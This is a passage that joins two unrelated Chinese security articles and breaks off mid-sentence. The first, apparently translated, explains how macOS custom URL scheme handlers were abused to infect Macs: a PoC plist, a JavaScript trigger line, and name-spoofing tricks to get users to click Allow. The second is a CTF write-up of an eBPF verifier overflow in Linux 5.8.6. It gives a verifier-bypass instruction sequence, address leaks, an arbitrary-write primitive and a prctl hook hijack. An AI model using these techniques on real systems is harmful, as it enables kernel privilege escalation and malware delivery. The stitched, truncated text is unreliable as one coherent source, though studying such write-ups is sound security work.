首先我们来快速看一下Document Handler，前阶段我刚研究过这方面内容，写过一篇介绍性文章。
在之前的[文章](https://objective-see.com/blog/blog_0x12.html)中，我分析了`Mac File
Opener`这款广告软件（adware），该软件滥用了自定义的文档处理程序来实现隐蔽的持久化目标。简而言之，这款恶意软件“声明”自己能够支持超过200种类型的文件，一旦用户打开其中一种文件，恶意软件就会被操作系统自动启动来处理（理论上是显示）文档。非常耐心的持久化方法。
> 注意：如果已经有一个程序注册了一种文件类型（比如`.pdf`、`.html`等），（据我所知）这种绑定关系无法被篡改。
当然这里第一个问题是，`Mac File
Opener`广告软件（或者其他应用）如何“声明”自己能够支持哪些文件（因此在用户访问此类文件时会被调用）。第二个问题是，操作系统如何处理并注册这种信息？我推荐大家阅读[这篇文章](https://objective-see.com/blog/blog_0x12.html)，其中详细回答了这两个问题，但是这里我们也会简单地做一下总结。
那么应用程序如何告诉操作系统自己能够处理哪类文件？答案就在于程序的`Info.plist`文件总。前面提到过，`Mac File
Opener`支持超过200种文件类型，我们可以导出它的`Info.plist`文件：
在“原始的”plist中，这个信息存放在一个数组中（`CFBundleDocumentTypes`键）。根据Apple的说法：
> `CFBundleDocumentTypes`（iOS及OS
> X上的数组）包含一个字典数组，将一个或多个文档类型与具体应用关联起来。每个字典都为类型定义（type-> definition）字典，包含用来定义文档的具体键（key）。
举个例子，`.7z`（7Zip）文件类型的`Mac File
Opener`详细信息如下所示，请注意其中的`CFBundleTypeExtensions`这个key，对应的值为该广告软件声明的可以处理的文件扩展名：
$ cat "Mac File Opener.app/Contents/Info.plist"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>14F27</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeExtensions</key>
<array>
<string>7z</string>
</array>
<key>CFBundleTypeName</key>
<string>DocumentType</string>
<key>CFBundleTypeOSTypes</key>
<array>
<string>????</string>
</array>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>NSDocumentClass</key>
<string>Document</string>
</dict>
为了回答第二个问题，我们需要确定macOS如何处理这些文件的“注册”请求。在[“Click File, App
Opens”](https://objective-see.com/blog/blog_0x12.html)这篇文章中提到，这是一个自动化过程，一旦应用保存到本地磁盘上就会执行该操作。简单总结下，大致步骤如下：
1、应用（或者恶意软件）下载或者保存到本地文件系统中；
2、该过程会导致一个`XPC`消息发送到launch services daemon（`lsd`）；
3、`lsd`守护进程解析该应用，将应用的“document handlers”信息提取并保存到一个数据库中。
# fs_usage -w -f filesystem | grep Info.plist
open /Users/user/Desktop/Mac File Opener.app/Contents/Info.plist lsd.16457
fstat64 F=4 lsd.16457
read F=4 B=0x18a97 lsd.16457
# /usr/libexec/lsd
...
(lldb) po $rsi
<LSDatabase 0x7fe66183e600>{ path = '/var/folders/np/85lyz_4545d5lz8wvy04xvlm0000gn/0//com.apple.LaunchServices-134501.csstore' }
我们可以利用`lsregister`（具体路径为`/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/`）来转储`lsd`的数据库。当使用`-dump`标志调用时，`lsregister`可以显示指定了“document
handler”的所有应用，`lsd`会自动注册这些“document handler”。比如，我们可以看到其中包含`Mac File
Opener`及其注册的文档（文件类型，比如`.7z`等）：
$ lsregister -dump
...
Container mount state: mounted
bundle id: 2592
Mach-O UUIDs: 88225C07-0FDC-3875-A3B4-C5328E509B9E, 20A99135-975D-3A7B-A8DD-B7DF2CE428D0
path: /Users/user/Downloads/Mac File Opener.app
name: Mac File Opener
identifier: com.pcvark.Mac-File-Opener (0x80025f61)
executable: Contents/MacOS/Mac File Opener
-------------------------------------------------------- claim id: 31508
name: DocumentType
rank: Alternate
roles: Viewer
flags: doc-type
bindings: .7z
...
一旦应用（或者广告软件）自动注册了document handler，那么当用户尝试打开匹配的文档时，应用或广告软件就会被自动调用。
这个过程由`launch services
framework`负责，更具体一些，是`_LSBundleCopyOrCheckNode`方法（以及`_LSBundleCopyOrCheckNode_block_invoke`）负责匹配过程（查找与文档类型匹配的已注册的应用）然后执行已注册的应用：
(lldb) b ___LSBundleCopyOrCheckNode_block_invoke
...
(lldb) x/gx $rdx
0x700000115c48: 0x00007fd3b4a9c520
(lldb) po 0x00007fd3b4a9c520
<FSNode 0x7fd3b4a9c520> { flags = 0x00000020, path = '/Users/user/Desktop/Mac File Opener.app' }
> 总结一下：
>
> 1、应用程序可以“声明”能够处理的各种文档或者文件类型；
>
> 2、一旦应用落盘，操作系统就会自动注册这些“document handler”；
>
> 3、文件打开时，系统会查询“launch services”数据库，确定该执行哪个应用。
以上就是“document handlers”的大概内容，接下来讨论一下自定义URL Scheme handler。从操作系统的角度来看，这种URL
Scheme handler通常只是适用于url的document handler。
这对自定义URL Scheme handler来说意味着两点：
1、一旦（“声明”支持这些handler的）应用落盘，macOS会自动注册自定义的URL Scheme handler；
2、当自定义URL Scheme被调用时，就会触发（已自动注册的）handler应用。
由于这些操作都可以被网页触发，因此我们很容易就能猜到会出现什么后果。
之前我曾在Box 2017上讨论过自定义URL Scheme话题（[“Oversight: Exposing Spies on
macos”](https://speakerdeck.com/patrickwardle/hack-in-the-box-2017-oversight-exposing-spies-on-macos)）。
然而当时并没有涉及到恶意软件或者恶意利用之类的内容。
由于我还没有接触`WINDSHIFT`恶意软件样本，我之前自己写了PoC示例，演示了攻击者如何滥用自定义URL Scheme
handler来远程感染Mac主机（该过程涉及一些用户交互操作）。
我们先创建Xcode项目，使用Cocoa App模板：
应用本身的逻辑并不关键，但我们必须编辑应用的`Info.plist`文件，以便“声明”我们将支持一个自定义的URL
Scheme。在Xcode中，我们添加了一个`URL types`数组，指定了Scheme的名称（`windshift://`）以及一个URL标识符：
观察原始的plist，我们可以看到这些信息对应其中的一些key，比如`CFBundleURLTypes
CFBundleURLSchemes`以及`CFBundleURLName`：
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLSchemes</key>
<array>
<string>windshift</string>
</array>
<key>CFBundleURLName</key>
<string>com.foo.bar.WindShift</string>
</dict>
</array>
一旦该应用编译（或下载）完毕，`lsd`就会解析应用的bundle数据（特别是`Info.plist`文件），检测是否存在自定义URL Scheme
handler，如果有则进行注册。注意这些操作都会自动完成。
为了确认这一点，我们可以转储“launch services”数据库（通过`lsregister
-dump`命令）。其中的确可以看到我们的PoC应用（`WindShift.app`），以及我们自定义的URL
Scheme（`CFBundleURLSchemes: (windshift)`）：
-------------------------------------------------------------------------------- BundleClass: kLSBundleClassApplication
Container mount state: mounted
bundle id: 168204
Mach-O UUIDs: E2E77A08-F458-36C1-B7BD-99F409B4DEAC
Device Familie
Counterpart ID
sequenceNum: 168204
FamilyID: 0
PurchaserID: 0
DownloaderID: 0
installType: 0
appContainer: #
dataContainer: #
path: /Users/patrick/Projects/WindShift/DerivedData/WindShift/Build/Products/Debug/WindShift.app
name: WindShift
....
executable: Contents/MacOS/WindShift
....
CFBundleURLTypes = (
{
CFBundleURLName = "com.foo.bar.WindShift";
CFBundleURLSchemes = (
windshift
);
}
);
}
claim id: 386204
name: com.foo.bar.WindShift
rank: Default
roles: Viewer
flags: url-type
icon:
bindings: windshift:
如果我们现在使用浏览器（这里使用的是Safari），“浏览”我们的自定义URL Scheme（`windshift://`），我们可以确认自定义的URL
Scheme已被自动注册：
如果我们点击“Allow”（这是个危险操作，后面我们会详细介绍），那么应用就会被启动：
## 三、远程利用
如果我们“不怀好意”，可能就会看到这种技术的利用方向。现在我们将介绍如何滥用自定义URL Scheme，远程定位（并在理想情况下感染）Mac用户的一种方法。
首先，目标必须浏览我们可控的一个网站。`WINDSHIFT` APT组织（成功使用了）钓鱼邮件这种途径。
一旦目标浏览我们的恶意网站，就会触发下载操作，下载包含恶意应用的一个归档（`.zip`）文件。如果Mac用户正在使用`Safari`，那么归档文件就会自动被解压，这是因为Apple认为自动打开“安全的”文件是一个比较明智的选择。这一点非常重要，这意味着恶意应用（而不是一个单纯的压缩zip文件）现在会存在于用户的文件系统上，这样就会自动触发自定义URL
Scheme handler的注册过程，这一点的确应该好好谢谢Apple。
现在恶意应用的自定义URL
Scheme已成功注册（在目标系统中），恶意网站中的代码就可以加载或者“浏览至”自定义的url地址，使用JavaScript可以轻松完成这个任务：
window.location.replace('windshift://');
macOS在后台会查找处理这个自定义URL
Scheme的handler，最终就会找到我们的恶意应用（刚刚下载到目标系统中）。一旦查找完毕，操作系统将尝试启动恶意应用来处理所请求的URL！
（对Mac用户来说）幸运的是，较新版的Safari中会弹出一个警告信息：
然而引号中的字符其实可以被攻击者所控制，因为这些字符就是应用的名称。因此，我们很容易就可以让弹出的警告窗口看起来比较普通、无害甚至有趣：
> 注意：
>
> 通常情况下应用无法使用类似`.txt`或者`.com`之类的扩展名。
>
>
> 然而，由于应用名可以包含unicode字符，因此我们可以利用[homograph](https://en.wikipedia.org/wiki/IDN_homograph_attack)这种攻击技巧。
>
> 这样我们就可以让恶意应用的名称变成类似`Attachment.TXT`之类的字符串（其中“X”其实是卡里安（Carian）字母X）。
虽然最新版的Safari会在启动已注册自定义URL Scheme的应用前提示用户，但老版本的Safari（比如默认安装在EI
Capitan上的Safari）就不会执行这种操作。相反，这些版本的Safari并不会弹出任何警告信息，会盲目地启动（恶意）应用。
抛开Safari的版本，我们还有另一个障碍要绕过：文件隔离（File Quarantine）。
如果应用文件下载自互联网，那么当用户执行该应用时，文件隔离机制就会弹出警告窗口：
好消息是有些Mac用户会点击`Cancel`按钮，但仍有些Mac用户还是会点击`Allow`按钮（Taha已经确认了这一点，他在演讲中提到`WINDSHIFT`
APT组织已经成功利用了这种攻击向量）。
此外，我们还可以控制应用的名称，因此可能会让更多用户点击`Allow`按钮，比如，我们可以添加个emoji表情试一下？
> 注意：
>
> 这里大家可能想知道为何Gatekeeper没有发挥作用？
>
> 在默认配置下，Gatekeeper只允许经过签名的应用。WINDSHIFT
> APT组织所使用的恶意软件都带有签名（现在大多数恶意软件都会使用这种方法），因此并没有轮到Gatekeeper上场。
在本文总结之前，我绘制如下一张图，介绍了这种“自定义URL Scheme handler”攻击的详细流程：
## 四、总结
我们并不是每天都能看到针对Mac用户的APT组织，更何况这类恶意软件使用了相当新颖的感染方式。然而，我们再也不能天真地认为Mac用户能够免受这类威胁的侵扰，`WINDSHIFT`
APT组织已经给我们好好上了一课。
在本文中我们讨论了macOS的一些功能，比如document handler以及自定义URL Scheme
handler，演示了这些功能如何被恶意软件主动利用。幸运的是，这类攻击方法（特别是在新版本的macOS上）需要一些用户交互操作。然而，这两种功能已经在实际攻击活动中被成功利用，因此如果大家正在寻找感染Mac用户的可靠方法，可以考虑使用这些技术。
如果你是Mac用户，并且比较注重安全，那么可以考虑使用Google Chrome浏览器：
如果你习惯使用Safari，至少需要关闭下载文件的自动解压功能，因为只有在应用被解压时才会触发（恶意）自定义URL Scheme handler的注册操作。
如果想关闭这个功能，请打开Safari的首选项，在`General`选项卡，勾掉`Open "safe" files after
downloading`这个复选框：
此外，我们还可以将Gatekeeper设置成“仅允许来自Mac App Store的应用”（然后根据需求小心允许第三方应用），这一点并不会带来什么坏处。 | 社区文章 |
# GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解
## 前言
上周参加了酷炫的GEEKPWN大会，比赛时未能解出这道题目，因为是bpf相关的洞，之前也有一点了解，赛后七哥不厌其烦地给我指导，最终成功解出，非常感谢`sunichi`师傅的帮助。本文相关文件在[这里](https://github.com/xmzyshypnc/xz_files)
## 漏洞挖掘
附件里贴心地给了source源码和linux-5.8.6的源码，我们拿`beyond
compare`比较一下两个项目文件夹，可以找到不同的文件，拿vscode比较一下具体地文件，即可看到`diff`的结果.可以看到在`verifier.c`文件中的`scalar_min_max_add`函数中缺失了溢出检查。
具体看一下此处的代码和调用,只跟到`check_alu_op`就差不多了，因为之前我们分析bpf漏洞的时候知道核心检查函数`do_check`中会调用此函数。因此最后的漏洞调用链为：`do_check`->`check_alu_op`->`adjust_reg_min_max_vals`->`adjust_scalar_min_max_vals`->`scalar_min_max_add`。
//verifier.c
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
switch (opcode) {
case BPF_ADD:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to add from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
//...
}
}
//
static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
//...
return adjust_scalar_min_max_vals(env, insn, dst_reg, *src_reg);
}
//
/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
//...
else { /* all other ALU ops: and, sub, xor, add, ... */
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0 || insn->off != 0) {
verbose(env, "BPF_ALU uses reserved fields\n");
return -EINVAL;
}
/* check src1 operand */
err = check_reg_arg(env, insn->src_reg, SRC_OP);
if (err)
return err;
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose(env, "BPF_ALU uses reserved fields\n");
return -EINVAL;
}
}
/* check src2 operand */
err = check_reg_arg(env, insn->dst_reg, SRC_OP);
if (err)
return err;
if ((opcode == BPF_MOD || opcode == BPF_DIV) &&
BPF_SRC(insn->code) == BPF_K && insn->imm == 0) {
verbose(env, "div by zero\n");
return -EINVAL;
}
if ((opcode == BPF_LSH || opcode == BPF_RSH ||
opcode == BPF_ARSH) && BPF_SRC(insn->code) == BPF_K) {
int size = BPF_CLASS(insn->code) == BPF_ALU64 ? 64 : 32;
if (insn->imm < 0 || insn->imm >= size) {
verbose(env, "invalid shift %d\n", insn->imm);
return -EINVAL;
}
}
/* check dest operand */
err = check_reg_arg(env, insn->dst_reg, DST_OP_NO_MARK);
if (err)
return err;
return adjust_reg_min_max_vals(env, insn);
}
}
static bool signed_add_overflows(s64 a, s64 b)
{
/* Do the add in u64, where overflow is well-defined */
s64 res = (s64)((u64)a + (u64)b);
if (b < 0)
return res > a;
return res < a;
}
## 漏洞分析
看到这个洞很容易想到今年pwn2own上的一个ebpf洞，这个洞之前看到了没有分析，比赛的时候又去现学了一下[CVE-2020-8835 pwn2own
2020 ebpf 提权漏洞分析](https://www.anquanke.com/post/id/203416)和[CVE-2020-8835
pwn2own 2020 ebpf
通过任意读写提权分析](https://xz.aliyun.com/t/7690)，简单说，漏洞在于计算tnum的时候使用的是smin_val和smax_val的低32bit，这导致0x100000001和0x1在函数看来是一样的，因此会被verifier认为是1，从而`(n&2)>>1`被认为是0，而实际上我们传入n=2，即可得到1，再进行`BPF_MUL`计算从而造成越界读写。
借鉴上述漏洞的想法，我们把`verifier`作为一个vm的检查，要执行的数据先拿进去检查一遍，在检查过程中`smin_val`和`smax_val`会进行检查和更新，其范围表示verifier认为的某个寄存器输入的范围。假如我们可以通过一些手段欺骗其认为寄存器范围是一个常数C，后面再通过一些计算(移位，乘除)使寄存器范围变为常数0.而0乘除任何数字都是0，而实际可以传入非零值得到其他值，这就可以帮助我们进行map的越界读写。
那么这个洞要怎么达到上述效果呢？比赛的时候我一直在尝试用`BPF_ALU64_IMM`来进行调整，使其`smin_val==smax_val==0`，然而发现要使得`a+x==b+x(mod
0x10000000000000000)`，除非a本身==b+0x10000000000000000。这条路并不可行，在参考文章里的核心越界指令是`BPF_LDX_MEM(BPF_DW,0,7,0)`，其中r7被越界改为&map_addr-0x110，我们看下`BPF_LDX_MEM`这个指令的检查条件，其核心检查函数为`__check_mem_access`。可以看到`off`需要大于等于0，因此我们必须trick使得`smin_val==smax_val==0`。
//verifier.c
/* check read/write into memory region (e.g., map value, ringbuf sample, etc) */
static int __check_mem_access(struct bpf_verifier_env *env, int regno,
int off, int size, u32 mem_size,
bool zero_size_allowed)
{
bool size_ok = size > 0 || (size == 0 && zero_size_allowed);
struct bpf_reg_state *reg;
if (off >= 0 && size_ok && (u64)off + size <= mem_size)
return 0;
reg = &cur_regs(env)[regno];
switch (reg->type) {
case PTR_TO_MAP_VALUE:
verbose(env, "invalid access to map value, value_size=%d off=%d size=%d\n",
mem_size, off, size);
break;
case PTR_TO_PACKET:
case PTR_TO_PACKET_META:
case PTR_TO_PACKET_END:
verbose(env, "invalid access to packet, off=%d size=%d, R%d(id=%d,off=%d,r=%d)\n",
off, size, regno, reg->id, off, mem_size);
break;
case PTR_TO_MEM:
default:
verbose(env, "invalid access to memory, mem_size=%u off=%d size=%d\n",
mem_size, off, size);
}
return -EACCES;
}
赛后17师傅提示说可以使用`BPF_ALU64_REG`来达到我们的目的，我们先来看下`smin_val`和`smax_val`的初始值`S64_MIN`和`S64_MAX`。其值分别为`0x8000000000000000`和`0x7fffffffffffffff`。我们来看下面的一组bpf指令。根据其初始值可以看到r8的smin和smax分别经历了`0x8000000000000000->0x8000000000000001->0x4000000000000000->0x8000000000000000->0`以及`0x7fffffffffffffff->0x8000000000000000->0x4000000000000000->0x8000000000000000->0`的变化，最终smin==smax==0，这是verifier做出的判断。然而如果我们输入`r8==0x100000000`，满足开始的smin和smax条件，实际计算出来的结果确是`0x100000000->0x100000001->0x80000000->0x100000000->0x200000000->2->0x110`。二者结果不一致，我们可以绕过检查进行越界读写。
BPF_ALU64_IMM(BPF_ADD,8,1), //r8 += 1
BPF_ALU64_IMM(BPF_RSH,8,1), //r8 >> 1
BPF_ALU64_IMM(BPF_LSH,8,1), //r8 << 1
BPF_ALU64_REG(BPF_ADD,8,8), //r8 += r8(overflow)
BPF_ALU64_IMM(BPF_RSH,8,32), //r8 >>= 32
BPF_ALU64_IMM(BPF_MUL,8,0x110/2), //r8 *= 0x110
### 地址泄露
任意读和参考文章的做法一致，我们看下核心的数据结构`bpf_array`，其中的value字段对应我们输入map的地址，其-0x110的偏移处保存着`array_map_ops`字段，它是一个全局的变量，存储在vmlinux内核文件的data段，通过它可以leak出kaslr的基址，通过`wait_list->next`可以泄露出map的地址。在`de4dcr0w`师傅的文章中，其构造了任意读来获取cred的地址，这里因为我没有起root
shell所以就只泄露了这两个地址。
gef➤ p/a *(struct bpf_array*) 0xffff888005840000
$1 = {
map = {
ops = 0xffffffff82016880 <array_map_ops>,
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800679df00,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
map_flags = 0x0 <fixed_percpu_data>,
spin_lock_off = 0xffffffffffffffea,
id = 0x4 <fixed_percpu_data+4>,
numa_node = 0xffffffffffffffff,
btf_key_type_id = 0x0 <fixed_percpu_data>,
btf_value_type_id = 0x0 <fixed_percpu_data>,
btf = 0x0 <fixed_percpu_data>,
memory = {
pages = 0x3 <fixed_percpu_data+3>,
user = 0xffff8880067de300
},
name = {0x0 <fixed_percpu_data> <repeats 16 times>},
btf_vmlinux_value_type_id = 0x0 <fixed_percpu_data>,
bypass_spec_v1 = 0x0 <fixed_percpu_data>,
frozen = 0x0 <fixed_percpu_data>,
refcnt = {
counter = 0x2 <fixed_percpu_data+2>
},
usercnt = {
counter = 0x1 <fixed_percpu_data+1>
},
work = {
data = {
counter = 0x0 <fixed_percpu_data>
},
entry = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
func = 0x0 <fixed_percpu_data>
},
freeze_mutex = {
owner = {
counter = 0x0 <fixed_percpu_data>
},
wait_lock = {
{
rlock = {
raw_lock = {
{
val = {
counter = 0x0 <fixed_percpu_data>
},
{
locked = 0x0 <fixed_percpu_data>,
pending = 0x0 <fixed_percpu_data>
},
{
locked_pending = 0x0 <fixed_percpu_data>,
tail = 0x0 <fixed_percpu_data>
}
}
}
}
}
},
osq = {
tail = {
counter = 0x0 <fixed_percpu_data>
}
},
wait_list = {
next = 0xffff8880058400c0,
prev = 0xffff8880058400c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff888005840110,//这里是map_element的地址
ptrs = 0xffff888005840110,
pptrs = 0xffff888005840110
}
}
### 任意地址写
任意地址写的利用链依然是参照`rtfingc`师傅的做法，首先看一下`array_map_ops`成员，我们可以通过地址越界写覆写array_map_ops成员为`map_element_addr`，从而伪造map_ops。
gef➤ p/a *(struct bpf_map_ops *) 0xffffffff82016880
$2 = {
map_alloc_check = 0xffffffff81162ef0 <array_map_alloc_check>,
map_alloc = 0xffffffff81163df0 <array_map_alloc>,
map_release = 0x0 <fixed_percpu_data>,
map_free = 0xffffffff811636c0 <array_map_free>,
map_get_next_key = 0xffffffff81162fe0 <array_map_get_next_key>,
map_release_uref = 0x0 <fixed_percpu_data>,
map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
map_lookup_batch = 0xffffffff81149240 <generic_map_lookup_batch>,
map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>,
map_update_batch = 0xffffffff81149020 <generic_map_update_batch>,
map_delete_batch = 0x0 <fixed_percpu_data>,
map_lookup_elem = 0xffffffff81163060 <array_map_lookup_elem>,
map_update_elem = 0xffffffff811635b0 <array_map_update_elem>,
map_delete_elem = 0xffffffff81163010 <array_map_delete_elem>,
map_push_elem = 0x0 <fixed_percpu_data>,
map_pop_elem = 0x0 <fixed_percpu_data>,
map_peek_elem = 0x0 <fixed_percpu_data>,
map_fd_get_ptr = 0x0 <fixed_percpu_data>,
map_fd_put_ptr = 0x0 <fixed_percpu_data>,
map_gen_lookup = 0xffffffff81163310 <array_map_gen_lookup>,
map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
map_seq_show_elem = 0xffffffff81163140 <array_map_seq_show_elem>,
map_check_btf = 0xffffffff81163c60 <array_map_check_btf>,
map_poke_track = 0x0 <fixed_percpu_data>,
map_poke_untrack = 0x0 <fixed_percpu_data>,
map_poke_run = 0x0 <fixed_percpu_data>,
map_direct_value_addr = 0xffffffff81162f70 <array_map_direct_value_addr>,
map_direct_value_meta = 0xffffffff81162fa0 <array_map_direct_value_meta>,
map_mmap = 0xffffffff811630e0 <array_map_mmap>,
map_poll = 0x0 <fixed_percpu_data>
}
我们将`map_push_elem`改为`map_get_next_key`，在调用`map_update_elem`的时候会调用`map_push_elem`，但是需要map的类型为`BPF_MAP_TYPE_QUEUE`或者`BPF_MAP_TYPE_STACK`。
看一下调用链，map_update_elem函数中的`bpf_map_update_value(map, f, key, value,
attr->flags);`调用bpf_map_update_value函数的`map->ops->map_push_elem(map, value,
flags);`，最终调用了`array_map_get_next_key(struct bpf_map *map, void *key, void
*next_key)`。其中`key`对应`value`，`next_key`对应`attr->flags`。
最终当`index < array->map.max_entries`时，有`*next = index +
1;`，即`*(attr->flags)=*(u32
*)value+1`。因为是无符号数比较，我们利用越界写提前布置`array->map.max_entries=-1;map_type=BPF_MAP_TYPE_STACK`即可进行地址任意写。
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;
if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;
f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);
if (!(map_get_sys_perms(map, f) & FMODE_CAN_WRITE)) {
err = -EPERM;
goto err_put;
}
if ((attr->flags & BPF_F_LOCK) &&
!map_value_has_spin_lock(map)) {
err = -EINVAL;
goto err_put;
}
key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
value_size = round_up(map->value_size, 8) * num_possible_cpus();
else
value_size = map->value_size;
err = -ENOMEM;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN);
if (!value)
goto free_key;
err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0)
goto free_value;
err = bpf_map_update_value(map, f, key, value, attr->flags);//这里
free_value:
kfree(value);
free_key:
kfree(key);
err_put:
fdput(f);
return err;
}
//
static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,
void *value, __u64 flags)
{
int err;
/* Need to create a kthread, thus must support schedule */
if (bpf_map_is_dev_bound(map)) {
return bpf_map_offload_update_elem(map, key, value, flags);
} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
map->map_type == BPF_MAP_TYPE_SOCKHASH ||
map->map_type == BPF_MAP_TYPE_SOCKMAP ||
map->map_type == BPF_MAP_TYPE_STRUCT_OPS) {
return map->ops->map_update_elem(map, key, value, flags);
} else if (IS_FD_PROG_ARRAY(map)) {
return bpf_fd_array_map_update_elem(map, f.file, key, value,
flags);
}
bpf_disable_instrumentation();
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH) {
err = bpf_percpu_hash_update(map, key, value, flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY) {
err = bpf_percpu_array_update(map, key, value, flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) {
err = bpf_percpu_cgroup_storage_update(map, key, value,
flags);
} else if (IS_FD_ARRAY(map)) {
rcu_read_lock();
err = bpf_fd_array_map_update_elem(map, f.file, key, value,
flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) {
rcu_read_lock();
err = bpf_fd_htab_map_update_elem(map, f.file, key, value,
flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_REUSEPORT_SOCKARRAY) {
/* rcu_read_lock() is not needed */
err = bpf_fd_reuseport_array_update_elem(map, key, value,
flags);
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, flags);//这里
} else {
rcu_read_lock();
err = map->ops->map_update_elem(map, key, value, flags);
rcu_read_unlock();
}
bpf_enable_instrumentation();
maybe_wait_bpf_programs(map);
return err;
}
/* Called from syscall */
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) {
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
### 控制流劫持
原本想劫持modprobe_path来进行任意命令执行，不过搜索之后未能发现，因此换成prctl函数劫持控制流的方式。我们在sys.c里可以看到`prctl`系统调用的实现，内部调用了`security_task_prctl`。在security.c中可以看到其函数实现，核心是调用`hp->hook.task_prctl(option,
arg2, arg3, arg4,
arg5);`这个函数指针我们可以写个prctl调用的demo调试看到，其位置为`0xffffffff824b3f88+0x18`。因为这里是可写的data段，我们可以讲其改成任意的函数指针并在调用prctl时触发控制流劫持。
data:FFFFFFFF824B3D80 capability_hooks security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.capable-7D4679C0h, <\
.data:FFFFFFFF824B3D80 offset cap_capable-7EC76180h>, 0>
.data:FFFFFFFF824B3D80 security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.settime-7D4679A0h, <\
.data:FFFFFFFF824B3D80 offset cap_settime-7EC763C0h>, 0>
.data:FFFFFFFF824B3D80 security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.ptrace_access_check-7D4679E0h,\
.data:FFFFFFFF824B3D80 <offset cap_ptrace_access_check-7EC75AD0h>, 0>
.data:FFFFFFFF824B3D80 security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.ptrace_traceme-7D4679D8h,\
.data:FFFFFFFF824B3D80 <offset cap_ptrace_traceme-7EC75B60h>, 0>
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;
error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
error = 0;
//...
}
//
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = LSM_RET_DEFAULT(task_prctl);
struct security_hook_list *hp;
hlist_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != LSM_RET_DEFAULT(task_prctl)) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}
函数的第一个option是一个32位的变量，因此我们在64位下不可控，我们选择劫持其为`poweroff_work_func`函数地址，并将`poweroff_cmd`改为要执行的命令。
这条攻击链如下,`poweroff_work_func->run_cmd(poweroff_cmd)->call_usermodehelper(argv[0],
argv, envp, UMH_WAIT_EXEC)->call_usermodehelper_exec(info,
